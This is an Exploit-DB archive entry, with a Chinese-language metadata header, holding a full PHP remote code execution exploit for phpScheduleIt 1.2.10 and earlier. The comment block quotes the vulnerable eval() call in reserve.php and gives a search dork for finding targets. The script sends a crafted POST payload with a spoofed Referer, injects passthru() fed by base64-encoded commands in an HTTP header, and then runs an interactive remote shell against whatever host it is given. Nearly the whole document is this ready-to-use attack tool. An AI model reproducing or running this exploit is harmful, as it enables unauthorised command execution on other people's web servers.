标题: phpScheduleIt 1.2.10 - 'reserve.php' Remote Code Execution EDB-ID: 6646 CVE: 2009-0820 2008-6132 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: <?php

/*
 -------------------------------------------------------------------
 phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit
 -------------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://phpscheduleit.sourceforge.net/
 dork.....: inurl:roschedule.php
 details..: works with magic_quotes_gpc = off
 
 [-] vulnerable code in /reserve.php
 
 51. if (isset($_POST['btnSubmit']) && strstr($_SERVER['HTTP_REFERER'], $_SERVER['PHP_SELF'])) {
 52.  $t->set_title(translate("Processing $Class"));
 53.  $t->printHTMLHeader();
 54.  $t->startMain();
 55. 
 56.  process_reservation($_POST['fn']);
 57. }
 58. else {
 59.  $res_info = getResInfo();
 60.  $t->set_title($res_info['title']);
 61.  $t->printHTMLHeader();
 62.     $t->startMain();
 63.     present_reservation($res_info['resid']);
 64. }

 [...]
 
 79. function process_reservation($fn) {
 80.  $success = false;
 81.  global $Class;
 82.  $is_pending = (isset($_POST['pending']) && $_POST['pending']);
 83. 
 84.  if (isset($_POST['start_date'])) {   // Parse the POST-ed starting and ending dates
 85.   $start_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['start_date']) . '\');');
 86.   $end_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['end_date']) . '\');');
 87.  }
 
 An attacker might be able to inject and execute PHP code through $_POST['start_date'], that is passed to eval() at line 85
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}

print "\n+---------------------------------------------------------------+";
print "\n| phpScheduleIt <= 1.2.10 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /phpscheduleit/\n";
 die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "btnSubmit=1&start_date=1').\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die};%%23";
$packet  = "POST {$path}reserve.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: {$path}reserve.php\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: ".(strlen($payload)-1)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

while(1)
{
 print "\nphpscheduleit-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $html  = http_send($host, sprintf($packet, base64_encode($cmd)));
  $shell = explode("_code_", $html);
  preg_match("/_code_/", $html) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
 }
 else break;
}

?>

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6646